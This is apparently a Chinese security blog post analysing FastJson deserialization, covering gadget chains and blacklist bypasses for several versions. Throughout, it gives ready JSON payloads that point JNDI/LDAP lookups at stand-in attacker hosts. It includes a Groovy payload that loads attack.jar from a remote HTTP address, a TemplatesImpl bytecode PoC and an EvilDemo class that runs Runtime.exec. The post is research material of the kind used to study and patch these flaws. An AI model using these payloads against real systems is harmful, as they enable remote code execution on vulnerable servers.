
https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114191721-j1ks8x1.png

最终poc如下

1
2
3
4
5
6
JavaClass javaClass = Repository.lookupClass(EvalDemo.class);
String base64_code = Base64.encodeBase64String(javaClass.getBytes());
String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + base64_code + "\"],\"_outputProperties\":{},'_name':'asd','_tfactory':{}}\n";
JSON.parse(text1, Feature.SupportNonPublicField);
JSON.parseObject(payload, Feature.SupportNonPublicField);
//{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",'_outputProperties':{},"_bytecodes":[""],'_name':'asd','_tfactory':{}}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114192301-e7pcdk5.png

漏洞触发点:org/apache/ibatis/datasource/jndi/JndiDataSourceFactory.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221115112636-r0yomkz.png

通过FastJson直接触发setProperties方法即可

payload如下

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://dnslog/xx"}}

漏洞触发点:com/zaxxer/hikari/HikariConfig.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115162149-q8ontj9.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115162204-zeeznbw.png

构造payload:

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://xxx.com/xx"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://xxx.com"}

漏洞触发点:org/apache/xbean/propertyeditor/JndiConverter.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115113714-oxq65gh.png

类中toObjectImpl​方法存在jndi注入点,向上跟踪发现在父类的setAsText中存在调用

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115113822-j404u5v.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115113847-ef5qlkb.png

构造payload:

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://dnslog/xxx"}

漏洞触发点:org/apache/shiro/jndi/JndiObjectFactory.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115152049-i3fko2m.png

payload构造如下

1
2
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://dnslog.com/xxx"}
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://xxx.com","instance":{"$ref":"$.instance"}}

漏洞触发点如下:br/com/anteros/dbcp/AnterosDBCPConfig.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115153107-ny3crdf.png

构造payload:

1
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://dnslog.com/xx"}

漏洞触发点:org/apache/ignite/cache/jta/jndi/CacheJndiTmLookup.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115155905-wyscvl4.png

payload构造如下:

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://xxx.com"}

漏洞触发点:com/ibatis/sqlmap/engine/transaction/jta/JtaTransactionConfig.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115161400-5fodlam.png

构造payload:

1
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"UserTransaction":"ldap://xxx.com"}}

漏洞触发点:org/apache/hadoop/shaded/com/zaxxer/hikari/HikariConfig.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115175021-jofbihm.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115175031-c4pr8o4.png

构造payload:

1
2
3
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://xxx.com"}

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://xxx.com"}

漏洞触发点如下:org/apache/shiro/realm/jndi/JndiRealmFactory.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809475-image-20221115183820-7o0y04u.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221115183807-o6bq720.png

构造poc

1
2
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://xxx.com"]}
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://xxx.com"],"Realms":[]}

漏洞触发点:org/apache/aries/transaction/jms/internal/XaPooledConnectionFactory.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221115180158-xvsykkb.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221115180221-n3r3dmw.png

构造Payload:

1
2
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory","tmJndiName":"ldap://xxx.com","tmFromJndi":"true"}
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory","tmJndiName":"ldap://xxx.com","tmFromJndi":"true","transactionManager":{"$ref":"$.transactionManager"}}

漏洞触发点:org/apache/aries/transaction/jms/internal/XaPooledConnectionFactory.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221115184802-wtsgyqy.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221115184658-3ab48os.png

构造POC

1
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory","tmJndiName":"ldap://xxx.com","tmFromJndi":true,"transactionManager":{"$ref":"$.transactionManager"}}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}
{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList":"http://192.168.1.3:9901/attack.jar"
    }
}

自1.2.24版本后,fastjson添加了checkAutoType方法检测反序列化时的恶意类,接下来就对检测方法进行分析,看看不同版本的fastjson如何进行绕过

拿JdbcRowSetImpl链为例,当把fastjson版本升级到1.2.25后,在执行程序会提示autoType is not support

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221116101449-4n41rhg.png

跟到checkAutoType实现方法发现autotype默认关闭,可通过下面代码开启

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221116101732-mnimh3n.png

当匹配到内置的黑名单类名后会抛出错误导致反序列化失败

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221116104220-ezl5cpn.png

在恶意类前加一个随机字符绕过恶意类检测,方便后续调试

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221116105012-pqu32v4.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221116105130-218nlrx.png

断点进入TypeUtils.loadClass(typeName, defaultClassLoader)后,可以发现当classname首位字符存在[​或首位字符存在L​ 且 末字符为 ;​ 时会将上述字符替换为空后将class进行load。

观察return值发现 当首位字符为[​的判断返回值并不是我们需要的值类型,所以用第二个判断进行绕过

构造payload如下:

1
2
3
4
5
6
7
{
    "xxx":{
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"ldap://xxx.com/TouchFile",
        "autoCommit":true
    }
}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221116150243-mgfxpmc.png

成功获取连接请求

当在恶意类首位字符添加 [​ 时程序会爆出下图错误,在抛错误位置下断点分析

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809476-image-20221116154224-2i2vhn6.png

程序认为根据目前构造的json数据,恶意类后面的字符应该是[而不是

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116154550-d3hk6of.png

部分字符对比图如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116154635-olsjo0u.png

,​改为[​ 后,payload构造如下又抛出了一个新的错误

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"["dataSourceName":"ldap://xxzczxc.5f6b81e6.dns.1433.eu.org/Exploit", "autoCommit":true}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116160405-ei8rarj.png

由于程序在右侧圈出内容匹配不到 {​ 或者 ,​ 字符,导致抛出异常错误

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116160713-fxd8eyj.png

根据报错提示内容对payload进行修改,最终如下payload可成功利用 [​ 方法绕过防护

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://xxzczxc.5f6b81e6.dns.1433.eu.org/Exploit", "autoCommit":true}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116161248-t62upbe.png

在此版本中,FastJson对恶意类不再是恶意类明文匹配,而是采用HashCode的方法判断反序列化目标对象是否存在恶意类,除此之外,FastJson还针对1.2.25的绕过方式做了对应的修复(方式较硬核)

不卖关子,直接看到该版本中checkAutoType​的具体实现方法。

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116151607-y6wcmwh.png

可以看到,FastJson修复前一版本的绕过方法就是如果检测到首\末位字符分别为 L​与;​时,会先将首\末位字符删除

当通过恶意类检测后程序会跟之前一样,通过loadclass将恶意类加载

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116152112-p6trutn.png

所以针对该版本绕过方法也很简单,那就是加两层L;

构造payload:

1
2
3
4
5
6
7
{
    "xxx":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"ldap://xxx.com/TouchFile",
        "autoCommit":true
    }
}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116152353-7ijeh3q.png

该版本对1.2.25及1.2.42通过L​方法绕过进行了修复,修复方式还是较为硬核,判断前两个字符是否为L​,条件成立的话会抛出autotype的错误

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116163544-751y5c4.png

但仍可利用1.2.25版本[​方法绕过,但这个绕过方法再1.44得到修复

绕过方式为通过MiscCodec向mapping中添加恶意类实现绕过

具体绕过方法及分析在bcel+BasicDataSource命令执行章节

其实这里分析的是1.2.68版本,因为这两个版本大差不差,只是期待类有区别,所以在这里合并分析

分析checkAutoType​方法时发现,该版本添加了safeMode和exceptClass等特性

当开启safeMode时,FastJson会完全禁用autotype

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221117000301-79zvla2.png

checkAutoType方法新增了一个exceptClass(期待类)参数,且 ObjectSerializableCloneableCloseableEventListenerIterableClooection​ 无法作为期待类

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221116235551-vcmd9xq.png

与1.2.47绕过方法不同的是,添加的恶意类在进入mapping缓存之前仍至少需要通过黑名单检测(当AutoType打开且为期待类时,白名单并不会起到太大的限制)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809477-image-20221117001658-y8npg4k.png

通过校验后,程序会通过TypeUtils.loadClass将恶意类添加至mapping中作为缓存。

当目标对象存在JSONType注解时,会直接返回class对象

注:JSONType官方文档如下:https://github.com/alibaba/fastjson/wiki/JSONType_serializer

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809478-image-20221117003035-grsshs9.png

由于所使用的恶意类多为第三方组件,存在JSONType注解的情况并不常见,导致很难通过这个条件去返回恶意类。继续向下看

程序会对加载的类再次校验,若继承或实现了 ClassLoaderDataSourceRowSet​ 会直接抛出异常

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809478-image-20221117003753-860it44.png

最后,若存在期待类,且加载的恶意类实现或为期待类的子类那么程序将返回需要加载的恶意类。

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809478-image-20221117004812-jo5fyh6.png

如果不存在期待类有没有方法返回恶意类?可以,但需要找新的链 绕过黑名单检测且恶意类存在无参的构造方法(没有的话会由下面的判断抛出异常)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809478-image-20221117005331-zsfokhs.png

通过上面的分析可以得知,若存在期待类可以更方便的将恶意类进行加载,所以下面通过全局搜索的方式得到ThrowableDeserializer​和JavaBeanDeserializer​两种反序列化的形式符合预期(调用checkAutoType时expectClass不为null)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809478-image-20221117005856-n40dxzr.png

由于FastJson对每个对象类型会有不同的反序列化方法进行解析,所以我们可以通过符合预期的反序列化方法逆向获取符合预期的对象

com/alibaba/fastjson/parser/ParserConfig.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809478-image-20221117010306-f7z6vvk.png

其中ThrowableDeserializer​符合预期的类为java/lang/Throwable.java

构造poc如下

1
2
3
4
5
{
  "@type":"java.lang.Throwable",
  "@type": "com.glan.demo.EvilDemo",
  "command": "calc"
}

EvilDemo类代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package com.glan.demo;

import java.io.IOException;

public class EvilDemo extends Throwable {

    private String command;

    public String getCommand() throws IOException {
        Runtime.getRuntime().exec(command);
        return command;
    }

    public void setCommand(String command) {
        this.command = command;
    }
}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809478-image-20221117012241-q1274cl.png

https://www.cnblogs.com/javastack/p/15511489.html

http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

https://jlkl.github.io/2021/12/18/Java_07/

https://goessner.net/articles/JsonPath/

https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

https://github.com/LeadroyaL/fastjson-blacklist

https://github.com/safe6Sec/Fastjson/blob/master/README.md

https://y4er.com/posts/fastjson-1.2.80/#%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90

https://github.com/su18/hack-fastjson-1.2.80